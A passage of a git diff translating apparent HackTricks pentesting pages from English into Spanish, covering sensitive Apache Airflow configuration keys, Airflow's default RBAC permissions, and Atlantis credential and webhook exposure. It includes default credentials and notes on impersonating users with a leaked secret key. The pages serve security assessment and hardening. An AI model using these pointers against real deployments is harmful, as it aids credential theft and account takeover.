b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md @@ -1,115 +1,105 @@ -# Airflow Configuration +# Configuración de Airflow {{#include ../../banners/hacktricks-training.md}} -## Configuration File +## Archivo de Configuración -**Apache Airflow** generates a **config file** in all the airflow machines called **`airflow.cfg`** in the home of the airflow user. This config file contains configuration information and **might contain interesting and sensitive information.** +**Apache Airflow** genera un **archivo de configuración** en todas las máquinas de airflow llamado **`airflow.cfg`** en el directorio home del usuario de airflow. Este archivo de configuración contiene información de configuración y **puede contener información interesante y sensible.** -**There are two ways to access this file: By compromising some airflow machine, or accessing the web console.** +**Hay dos formas de acceder a este archivo: Comprometiendo alguna máquina de airflow, o accediendo a la consola web.** -Note that the **values inside the config file** **might not be the ones used**, as you can overwrite them setting env variables such as `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`. +Ten en cuenta que los **valores dentro del archivo de configuración** **pueden no ser los utilizados**, ya que puedes sobrescribirlos configurando variables de entorno como `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`. -If you have access to the **config file in the web server**, you can check the **real running configuration** in the same page the config is displayed.\ -If you have **access to some machine inside the airflow env**, check the **environment**. +Si tienes acceso al **archivo de configuración en el servidor web**, puedes verificar la **configuración real en ejecución** en la misma página donde se muestra la configuración.\ +Si tienes **acceso a alguna máquina dentro del entorno de airflow**, verifica el **entorno**. -Some interesting values to check when reading the config file: +Algunos valores interesantes para verificar al leer el archivo de configuración: ### \[api] -- **`access_control_allow_headers`**: This indicates the **allowed** **headers** for **CORS** -- **`access_control_allow_methods`**: This indicates the **allowed methods** for **CORS** -- **`access_control_allow_origins`**: This indicates the **allowed origins** for **CORS** -- **`auth_backend`**: [**According to the docs**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) a few options can be in place to configure who can access to the API: - - `airflow.api.auth.backend.deny_all`: **By default nobody** can access the API - - `airflow.api.auth.backend.default`: **Everyone can** access it without authentication - - `airflow.api.auth.backend.kerberos_auth`: To configure **kerberos authentication** - - `airflow.api.auth.backend.basic_auth`: For **basic authentication** - - `airflow.composer.api.backend.composer_auth`: Uses composers authentication (GCP) (from [**here**](https://cloud.google.com/composer/docs/access-airflow-api)). - - `composer_auth_user_registration_role`: This indicates the **role** the **composer user** will get inside **airflow** (**Op** by default). - - You can also **create you own authentication** method with python. -- **`google_key_path`:** Path to the **GCP service account key** +- **`access_control_allow_headers`**: Esto indica los **encabezados permitidos** para **CORS** +- **`access_control_allow_methods`**: Esto indica los **métodos permitidos** para **CORS** +- **`access_control_allow_origins`**: Esto indica los **orígenes permitidos** para **CORS** +- **`auth_backend`**: [**Según la documentación**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) hay algunas opciones que se pueden configurar para determinar quién puede acceder a la API: +- `airflow.api.auth.backend.deny_all`: **Por defecto, nadie** puede acceder a la API +- `airflow.api.auth.backend.default`: **Todos pueden** acceder sin autenticación +- `airflow.api.auth.backend.kerberos_auth`: Para configurar **autenticación kerberos** +- `airflow.api.auth.backend.basic_auth`: Para **autenticación básica** +- `airflow.composer.api.backend.composer_auth`: Utiliza autenticación de compositores (GCP) (de [**aquí**](https://cloud.google.com/composer/docs/access-airflow-api)). +- `composer_auth_user_registration_role`: Esto indica el **rol** que el **usuario de composer** obtendrá dentro de **airflow** (**Op** por defecto). +- También puedes **crear tu propio método de autenticación** con python. +- **`google_key_path`:** Ruta a la **clave de cuenta de servicio de GCP** ### **\[atlas]** -- **`password`**: Atlas password -- **`username`**: Atlas username +- **`password`**: Contraseña de Atlas +- **`username`**: Nombre de usuario de Atlas ### \[celery] -- **`flower_basic_auth`** : Credentials (_user1:password1,user2:password2_) -- **`result_backend`**: Postgres url which may contain **credentials**. -- **`ssl_cacert`**: Path to the cacert -- **`ssl_cert`**: Path to the cert -- **`ssl_key`**: Path to the key +- **`flower_basic_auth`** : Credenciales (_user1:password1,user2:password2_) +- **`result_backend`**: URL de Postgres que puede contener **credenciales**. +- **`ssl_cacert`**: Ruta al cacert +- **`ssl_cert`**: Ruta al cert +- **`ssl_key`**: Ruta a la clave ### \[core] -- **`dag_discovery_safe_mode`**: Enabled by default. When discovering DAGs, ignore any files that don’t contain the strings `DAG` and `airflow`. -- **`fernet_key`**: Key to store encrypted variables (symmetric) -- **`hide_sensitive_var_conn_fields`**: Enabled by default, hide sensitive info of connections. -- **`security`**: What security module to use (for example kerberos) +- **`dag_discovery_safe_mode`**: Habilitado por defecto. Al descubrir DAGs, ignora cualquier archivo que no contenga las cadenas `DAG` y `airflow`. +- **`fernet_key`**: Clave para almacenar variables encriptadas (simétrica) +- **`hide_sensitive_var_conn_fields`**: Habilitado por defecto, oculta información sensible de las conexiones. +- **`security`**: Qué módulo de seguridad usar (por ejemplo, kerberos) ### \[dask] -- **`tls_ca`**: Path to ca -- **`tls_cert`**: Part to the cert -- **`tls_key`**: Part to the tls key +- **`tls_ca`**: Ruta a ca +- **`tls_cert`**: Ruta al cert +- **`tls_key`**: Ruta a la clave tls ### \[kerberos] -- **`ccache`**: Path to ccache file -- **`forwardable`**: Enabled by default +- **`ccache`**: Ruta al archivo ccache +- **`forwardable`**: Habilitado por defecto ### \[logging] -- **`google_key_path`**: Path to GCP JSON creds. +- **`google_key_path`**: Ruta a las credenciales JSON de GCP. ### \[secrets] -- **`backend`**: Full class name of secrets backend to enable -- **`backend_kwargs`**: The backend_kwargs param is loaded into a dictionary and passed to **init** of secrets backend class. +- **`backend`**: Nombre completo de la clase del backend de secretos a habilitar +- **`backend_kwargs`**: El parámetro backend_kwargs se carga en un diccionario y se pasa a **init** de la clase del backend de secretos. ### \[smtp] -- **`smtp_password`**: SMTP password -- **`smtp_user`**: SMTP user +- **`smtp_password`**: Contraseña SMTP +- **`smtp_user`**: Usuario SMTP ### \[webserver] -- **`cookie_samesite`**: By default it's **Lax**, so it's already the weakest possible value -- **`cookie_secure`**: Set **secure flag** on the the session cookie -- **`expose_config`**: By default is False, if true, the **config** can be **read** from the web **console** -- **`expose_stacktrace`**: By default it's True, it will show **python tracebacks** (potentially useful for an attacker) -- **`secret_key`**: This is the **key used by flask to sign the cookies** (if you have this you can **impersonate any user in Airflow**) -- **`web_server_ssl_cert`**: **Path** to the **SSL** **cert** -- **`web_server_ssl_key`**: **Path** to the **SSL** **Key** -- **`x_frame_enabled`**: Default is **True**, so by default clickjacking isn't possible +- **`cookie_samesite`**: Por defecto es **Lax**, por lo que ya es el valor más débil posible +- **`cookie_secure`**: Establecer **bandera segura** en la cookie de sesión +- **`expose_config`**: Por defecto es False, si es verdadero, la **configuración** puede ser **leída** desde la **consola** web +- **`expose_stacktrace`**: Por defecto es True, mostrará **tracebacks de python** (potencialmente útil para un atacante) +- **`secret_key`**: Esta es la **clave utilizada por flask para firmar las cookies** (si tienes esto puedes **suplantar a cualquier usuario en Airflow**) +- **`web_server_ssl_cert`**: **Ruta** al **certificado** **SSL** +- **`web_server_ssl_key`**: **Ruta** a la **clave** **SSL** +- **`x_frame_enabled`**: Por defecto es **True**, por lo que por defecto el clickjacking no es posible -### Web Authentication - -By default **web authentication** is specified in the file **`webserver_config.py`** and is configured as +### Autenticación Web +Por defecto, la **autenticación web** se especifica en el archivo **`webserver_config.py`** y se configura como ```bash AUTH_TYPE = AUTH_DB ``` - -Which means that the **authentication is checked against the database**. However, other configurations are possible like - +Lo que significa que la **autenticación se verifica contra la base de datos**. Sin embargo, otras configuraciones son posibles como ```bash AUTH_TYPE = AUTH_OAUTH ``` +Para dejar la **autenticación a servicios de terceros**. -To leave the **authentication to third party services**. - -However, there is also an option to a**llow anonymous users access**, setting the following parameter to the **desired role**: - +Sin embargo, también hay una opción para **permitir el acceso a usuarios anónimos**, configurando el siguiente parámetro al **rol deseado**: ```bash AUTH_ROLE_PUBLIC = 'Admin' ``` - {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md index 7ff782327..f63fcf371 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md +++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md @@ -4,44 +4,40 @@ ## RBAC -(From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow ships with a **set of roles by default**: **Admin**, **User**, **Op**, **Viewer**, and **Public**. **Only `Admin`** users could **configure/alter the permissions for other roles**. But it is not recommended that `Admin` users alter these default roles in any way by removing or adding permissions to these roles. +(De la documentación)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow se envía con un **conjunto de roles por defecto**: **Admin**, **User**, **Op**, **Viewer** y **Public**. **Solo los usuarios `Admin`** pueden **configurar/alterar los permisos para otros roles**. Pero no se recomienda que los usuarios `Admin` alteren estos roles predeterminados de ninguna manera, eliminando o agregando permisos a estos roles. -- **`Admin`** users have all possible permissions. -- **`Public`** users (anonymous) don’t have any permissions. -- **`Viewer`** users have limited viewer permissions (only read). It **cannot see the config.** -- **`User`** users have `Viewer` permissions plus additional user permissions that allows him to manage DAGs a bit. He **can see the config file** -- **`Op`** users have `User` permissions plus additional op permissions. +- **Los usuarios `Admin`** tienen todos los permisos posibles. +- **Los usuarios `Public`** (anónimos) no tienen ningún permiso. +- **Los usuarios `Viewer`** tienen permisos limitados de visualización (solo lectura). **No pueden ver la configuración.** +- **Los usuarios `User`** tienen permisos de `Viewer` más permisos adicionales que les permiten gestionar DAGs un poco. **Pueden ver el archivo de configuración.** +- **Los usuarios `Op`** tienen permisos de `User` más permisos adicionales de operación. -Note that **admin** users can **create more roles** with more **granular permissions**. +Tenga en cuenta que **los usuarios admin** pueden **crear más roles** con más **permisos granulares**. -Also note that the only default role with **permission to list users and roles is Admin, not even Op** is going to be able to do that. +También tenga en cuenta que el único rol predeterminado con **permiso para listar usuarios y roles es Admin, ni siquiera Op** podrá hacer eso. -### Default Permissions +### Permisos Predeterminados -These are the default permissions per default role: +Estos son los permisos predeterminados por rol predeterminado: - **Admin** -\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on Roles, can read on Permissions, can delete on Roles, can edit on Roles, can create on Roles, can read on Users, can create on Users, can edit on Users, can delete on Users, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs, can read on Task Reschedules, menu access on Task Reschedules, can read on Triggers, menu access on Triggers, can read on Passwords, can edit on Passwords, menu access on List Users, menu access on Security, menu access on List Roles, can read on User Stats Chart, menu access on User's Statistics, menu access on Base Permissions, can read on View Menus, menu access on Views/Menus, can read on Permission Views, menu access on Permission on Views/Menus, can get on MenuApi, menu access on Providers, can create on XComs] +\[puede eliminar en Conexiones, puede leer en Conexiones, puede editar en Conexiones, puede crear en Conexiones, puede leer en DAGs, puede editar en DAGs, puede eliminar en DAGs, puede leer en Ejecuciones de DAG, puede leer en Instancias de Tarea, puede editar en Instancias de Tarea, puede eliminar en Ejecuciones de DAG, puede crear en Ejecuciones de DAG, puede editar en Ejecuciones de DAG, puede leer en Registros de Auditoría, puede leer en ImportError, puede eliminar en Grupos, puede leer en Grupos, puede editar en Grupos, puede crear en Grupos, puede leer en Proveedores, puede eliminar en Variables, puede leer en Variables, puede editar en Variables, puede crear en Variables, puede leer en XComs, puede leer en Código de DAG, puede leer en Configuraciones, puede leer en Plugins, puede leer en Roles, puede leer en Permisos, puede eliminar en Roles, puede editar en Roles, puede crear en Roles, puede leer en Usuarios, puede crear en Usuarios, puede editar en Usuarios, puede eliminar en Usuarios, puede leer en Dependencias de DAG, puede leer en Trabajos, puede leer en Mi Contraseña, puede editar en Mi Contraseña, puede leer en Mi Perfil, puede editar en Mi Perfil, puede leer en Fallos de SLA, puede leer en Registros de Tarea, puede leer en Sitio Web, acceso al menú en Navegar, acceso al menú en Dependencias de DAG, acceso al menú en Ejecuciones de DAG, acceso al menú en Documentación, acceso al menú en Docs, acceso al menú en Trabajos, acceso al menú en Registros de Auditoría, acceso al menú en Plugins, acceso al menú en Fallos de SLA, acceso al menú en Instancias de Tarea, puede crear en Instancias de Tarea, puede eliminar en Instancias de Tarea, acceso al menú en Admin, acceso al menú en Configuraciones, acceso al menú en Conexiones, acceso al menú en Grupos, acceso al menú en Variables, acceso al menú en XComs, puede eliminar en XComs, puede leer en Reprogramaciones de Tarea, acceso al menú en Reprogramaciones de Tarea, puede leer en Disparadores, acceso al menú en Disparadores, puede leer en Contraseñas, puede editar en Contraseñas, acceso al menú en Listar Usuarios, acceso al menú en Seguridad, acceso al menú en Listar Roles, puede leer en Gráfico de Estadísticas de Usuario, acceso al menú en Estadísticas de Usuario, acceso al menú en Permisos Base, puede leer en Ver Menús, acceso al menú en Vistas/Menús, puede leer en Vistas de Permisos, acceso al menú en Permiso en Vistas/Menús, puede obtener en MenuApi, acceso al menú en Proveedores, puede crear en XComs] - **Op** -\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs] +\[puede eliminar en Conexiones, puede leer en Conexiones, puede editar en Conexiones, puede crear en Conexiones, puede leer en DAGs, puede editar en DAGs, puede eliminar en DAGs, puede leer en Ejecuciones de DAG, puede leer en Instancias de Tarea, puede editar en Instancias de Tarea, puede eliminar en Ejecuciones de DAG, puede crear en Ejecuciones de DAG, puede editar en Ejecuciones de DAG, puede leer en Registros de Auditoría, puede leer en ImportError, puede eliminar en Grupos, puede leer en Grupos, puede editar en Grupos, puede crear en Grupos, puede leer en Proveedores, puede eliminar en Variables, puede leer en Variables, puede editar en Variables, puede crear en Variables, puede leer en XComs, puede leer en Código de DAG, puede leer en Configuraciones, puede leer en Plugins, puede leer en Dependencias de DAG, puede leer en Trabajos, puede leer en Mi Contraseña, puede editar en Mi Contraseña, puede leer en Mi Perfil, puede editar en Mi Perfil, puede leer en Fallos de SLA, puede leer en Registros de Tarea, puede leer en Sitio Web, acceso al menú en Navegar, acceso al menú en Dependencias de DAG, acceso al menú en Ejecuciones de DAG, acceso al menú en Documentación, acceso al menú en Docs, acceso al menú en Trabajos, acceso al menú en Registros de Auditoría, acceso al menú en Plugins, acceso al menú en Fallos de SLA, acceso al menú en Instancias de Tarea, puede crear en Instancias de Tarea, puede eliminar en Instancias de Tarea, acceso al menú en Admin, acceso al menú en Configuraciones, acceso al menú en Conexiones, acceso al menú en Grupos, acceso al menú en Variables, acceso al menú en XComs, puede eliminar en XComs] - **User** -\[can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances] +\[puede leer en DAGs, puede editar en DAGs, puede eliminar en DAGs, puede leer en Ejecuciones de DAG, puede leer en Instancias de Tarea, puede editar en Instancias de Tarea, puede eliminar en Ejecuciones de DAG, puede crear en Ejecuciones de DAG, puede editar en Ejecuciones de DAG, puede leer en Registros de Auditoría, puede leer en ImportError, puede leer en XComs, puede leer en Código de DAG, puede leer en Plugins, puede leer en Dependencias de DAG, puede leer en Trabajos, puede leer en Mi Contraseña, puede editar en Mi Contraseña, puede leer en Mi Perfil, puede editar en Mi Perfil, puede leer en Fallos de SLA, puede leer en Registros de Tarea, puede leer en Sitio Web, acceso al menú en Navegar, acceso al menú en Dependencias de DAG, acceso al menú en Ejecuciones de DAG, acceso al menú en Documentación, acceso al menú en Docs, acceso al menú en Trabajos, acceso al menú en Registros de Auditoría, acceso al menú en Plugins, acceso al menú en Fallos de SLA, acceso al menú en Instancias de Tarea, puede crear en Instancias de Tarea, puede eliminar en Instancias de Tarea] - **Viewer** -\[can read on DAGs, can read on DAG Runs, can read on Task Instances, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances] +\[puede leer en DAGs, puede leer en Ejecuciones de DAG, puede leer en Instancias de Tarea, puede leer en Registros de Auditoría, puede leer en ImportError, puede leer en XComs, puede leer en Código de DAG, puede leer en Plugins, puede leer en Dependencias de DAG, puede leer en Trabajos, puede leer en Mi Contraseña, puede editar en Mi Contraseña, puede leer en Mi Perfil, puede editar en Mi Perfil, puede leer en Fallos de SLA, puede leer en Registros de Tarea, puede leer en Sitio Web, acceso al menú en Navegar, acceso al menú en Dependencias de DAG, acceso al menú en Ejecuciones de DAG, acceso al menú en Documentación, acceso al menú en Docs, acceso al menú en Trabajos, acceso al menú en Registros de Auditoría, acceso al menú en Plugins, acceso al menú en Fallos de SLA, acceso al menú en Instancias de Tarea] - **Public** \[] {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/atlantis-security.md b/src/pentesting-ci-cd/atlantis-security.md index a4b35140f..4fcefa43d 100644 --- a/src/pentesting-ci-cd/atlantis-security.md +++ b/src/pentesting-ci-cd/atlantis-security.md @@ -4,109 +4,109 @@ ### Basic Information -Atlantis basically helps you to to run terraform from Pull Requests from your git server. +Atlantis básicamente te ayuda a ejecutar terraform desde Pull Requests de tu servidor git. ![](<../images/image (161).png>) ### Local Lab -1. Go to the **atlantis releases page** in [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) and **download** the one that suits you. -2. Create a **personal token** (with repo access) of your **github** user -3. Execute `./atlantis testdrive` and it will create a **demo repo** you can use to **talk to atlantis** - 1. You can access the web page in 127.0.0.1:4141 +1. Ve a la **página de lanzamientos de atlantis** en [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) y **descarga** la que te convenga. +2. Crea un **token personal** (con acceso a repos) de tu usuario de **github**. +3. Ejecuta `./atlantis testdrive` y se creará un **repositorio de demostración** que puedes usar para **hablar con atlantis**. +1. Puedes acceder a la página web en 127.0.0.1:4141. ### Atlantis Access #### Git Server Credentials -**Atlantis** support several git hosts such as **Github**, **Gitlab**, **Bitbucket** and **Azure DevOps**.\ -However, in order to access the repos in those platforms and perform actions, it needs to have some **privileged access granted to them** (at least write permissions).\ -[**The docs**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) encourage to create a user in these platform specifically for Atlantis, but some people might use personal accounts. +**Atlantis** soporta varios hosts de git como **Github**, **Gitlab**, **Bitbucket** y **Azure DevOps**.\ +Sin embargo, para acceder a los repos en esas plataformas y realizar acciones, necesita tener algún **acceso privilegiado concedido a ellos** (al menos permisos de escritura).\ +[**Los docs**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) fomentan crear un usuario en estas plataformas específicamente para Atlantis, pero algunas personas pueden usar cuentas personales. > [!WARNING] -> In any case, from an attackers perspective, the **Atlantis account** is going to be one very **interesting** **to compromise**. +> En cualquier caso, desde la perspectiva de un atacante, la **cuenta de Atlantis** va a ser muy **interesante** **de comprometer**. #### Webhooks -Atlantis uses optionally [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) to validate that the **webhooks** it receives from your Git host are **legitimate**. +Atlantis utiliza opcionalmente [**secretos de Webhook**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) para validar que los **webhooks** que recibe de tu host Git son **legítimos**. -One way to confirm this would be to **allowlist requests to only come from the IPs** of your Git host but an easier way is to use a Webhook Secret. +Una forma de confirmar esto sería **permitir que las solicitudes solo provengan de las IPs** de tu host Git, pero una forma más fácil es usar un Secreto de Webhook. -Note that unless you use a private github or bitbucket server, you will need to expose webhook endpoints to the Internet. +Ten en cuenta que a menos que uses un servidor privado de github o bitbucket, necesitarás exponer los endpoints de webhook a Internet. > [!WARNING] -> Atlantis is going to be **exposing webhooks** so the git server can send it information. From an attackers perspective it would be interesting to know **if you can send it messages**. +> Atlantis va a estar **exponiendo webhooks** para que el servidor git pueda enviarle información. Desde la perspectiva de un atacante, sería interesante saber **si puedes enviarle mensajes**. #### Provider Credentials -[From the docs:](https://www.runatlantis.io/docs/provider-credentials.html) +[De los docs:](https://www.runatlantis.io/docs/provider-credentials.html) -Atlantis runs Terraform by simply **executing `terraform plan` and `apply`** commands on the server **Atlantis is hosted on**. Just like when you run Terraform locally, Atlantis needs credentials for your specific provider. +Atlantis ejecuta Terraform simplemente **ejecutando los comandos `terraform plan` y `apply`** en el servidor **donde está alojado Atlantis**. Al igual que cuando ejecutas Terraform localmente, Atlantis necesita credenciales para tu proveedor específico. -It's up to you how you [provide credentials](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) for your specific provider to Atlantis: +Depende de ti cómo [proporcionar credenciales](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) para tu proveedor específico a Atlantis: -- The Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) and [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) have their own mechanisms for provider credentials. Read their docs. -- If you're running Atlantis in a cloud then many clouds have ways to give cloud API access to applications running on them, ex: - - [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for "EC2 Role") - - [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference) -- Many users set environment variables, ex. `AWS_ACCESS_KEY`, where Atlantis is running. -- Others create the necessary config files, ex. `~/.aws/credentials`, where Atlantis is running. -- Use the [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) to obtain provider credentials. +- El [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) de Atlantis y el [Módulo AWS Fargate](https://www.runatlantis.io/docs/deployment.html#aws-fargate) tienen sus propios mecanismos para credenciales de proveedor. Lee sus docs. +- Si estás ejecutando Atlantis en la nube, muchas nubes tienen formas de dar acceso a la API de la nube a aplicaciones que se ejecutan en ellas, por ejemplo: +- [Roles de AWS EC2](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Busca "EC2 Role") +- [Cuentas de Servicio de Instancia de GCE](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference) +- Muchos usuarios establecen variables de entorno, por ejemplo, `AWS_ACCESS_KEY`, donde se está ejecutando Atlantis. +- Otros crean los archivos de configuración necesarios, por ejemplo, `~/.aws/credentials`, donde se está ejecutando Atlantis. +- Usa el [Proveedor HashiCorp Vault](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) para obtener credenciales de proveedor. > [!WARNING] -> The **container** where **Atlantis** is **running** will highly probably **contain privileged credentials** to the providers (AWS, GCP, Github...) that Atlantis is managing via Terraform. +> El **contenedor** donde **Atlantis** está **ejecutándose** probablemente **contendrá credenciales privilegiadas** para los proveedores (AWS, GCP, Github...) que Atlantis está gestionando a través de Terraform. #### Web Page -By default Atlantis will run a **web page in the port 4141 in localhost**. This page just allows you to enable/disable atlantis apply and check the plan status of the repos and unlock them (it doesn't allow to modify things, so it isn't that useful). +Por defecto, Atlantis ejecutará una **página web en el puerto 4141 en localhost**. Esta página solo te permite habilitar/deshabilitar atlantis apply y verificar el estado del plan de los repos y desbloquearlos (no permite modificar cosas, por lo que no es tan útil). -You probably won't find it exposed to the internet, but it looks like by default **no credentials are needed** to access it (and if they are `atlantis`:`atlantis` are the **default** ones). +Probablemente no la encuentres expuesta a Internet, pero parece que por defecto **no se necesitan credenciales** para acceder a ella (y si las hay, `atlantis`:`atlantis` son las **predeterminadas**). ### Server Configuration -Configuration to `atlantis server` can be specified via command line flags, environment variables, a config file or a mix of the three. +La configuración para `atlantis server` puede especificarse a través de flags de línea de comando, variables de entorno, un archivo de configuración o una mezcla de los tres. -- You can find [**here the list of flags**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) supported by Atlantis server -- You can find [**here how to transform a config option into an env var**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables) +- Puedes encontrar [**aquí la lista de flags**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) soportados por el servidor de Atlantis. +- Puedes encontrar [**aquí cómo transformar una opción de configuración en una variable de entorno**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables). -Values are **chosen in this order**: +Los valores se **eligen en este orden**: 1. Flags -2. Environment Variables -3. Config File +2. Variables de Entorno +3. Archivo de Configuración > [!WARNING] -> Note that in the configuration you might find interesting values such as **tokens and passwords**. +> Ten en cuenta que en la configuración podrías encontrar valores interesantes como **tokens y contraseñas**. #### Repos Configuration -Some configurations affects **how the repos are managed**. However, it's possible that **each repo require different settings**, so there are ways to specify each repo. This is the priority order: +Algunas configuraciones afectan **cómo se gestionan los repos**. Sin embargo, es posible que **cada repo requiera configuraciones diferentes**, por lo que hay formas de especificar cada repo. Este es el orden de prioridad: -1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) file. This file can be used to specify how atlantis should treat the repo. However, by default some keys cannot be specified here without some flags allowing it. - 1. Probably required to be allowed by flags like `allowed_overrides` or `allow_custom_workflows` -2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): You can pass it with the flag `--repo-config` and it's a yaml configuring new settings for each repo (regexes supported) -3. **Default** values +1. Archivo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config). Este archivo se puede usar para especificar cómo atlantis debería tratar el repo. Sin embargo, por defecto algunas claves no se pueden especificar aquí sin algunos flags que lo permitan. +1. Probablemente requerido ser permitido por flags como `allowed_overrides` o `allow_custom_workflows`. +2. [**Configuración del lado del servidor**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Puedes pasarlo con el flag `--repo-config` y es un yaml que configura nuevos ajustes para cada repo (regexes soportados). +3. Valores **predeterminados**. **PR Protections** -Atlantis allows to indicate if you want the **PR** to be **`approved`** by somebody else (even if that isn't set in the branch protection) and/or be **`mergeable`** (branch protections passed) **before running apply**. From a security point of view, to set both options a recommended. +Atlantis permite indicar si deseas que el **PR** sea **`aprobado`** por alguien más (incluso si eso no está configurado en la protección de rama) y/o ser **`fusionable`** (protecciones de rama aprobadas) **antes de ejecutar apply**. Desde un punto de vista de seguridad, establecer ambas opciones es recomendable. -In case `allowed_overrides` is True, these setting can be **overwritten on each project by the `/atlantis.yml` file**. +En caso de que `allowed_overrides` sea True, estas configuraciones pueden ser **sobrescritas en cada proyecto por el archivo `/atlantis.yml`**. **Scripts** -The repo config can **specify scripts** to run [**before**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) and [**after**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) a **workflow is executed.** +La configuración del repo puede **especificar scripts** para ejecutar [**antes**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_ganchos de pre flujo de trabajo_) y [**después**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_ganchos de post flujo de trabajo_) de que se ejecute un **flujo de trabajo**. -There isn't any option to allow **specifying** these scripts in the **repo `/atlantis.yml`** file. +No hay ninguna opción para permitir **especificar** estos scripts en el **archivo de repo `/atlantis.yml`**. **Workflow** -In the repo config (server side config) you can [**specify a new default workflow**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), or [**create new custom workflows**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** You can also **specify** which **repos** can **access** the **new** ones generated.\ -Then, you can allow the 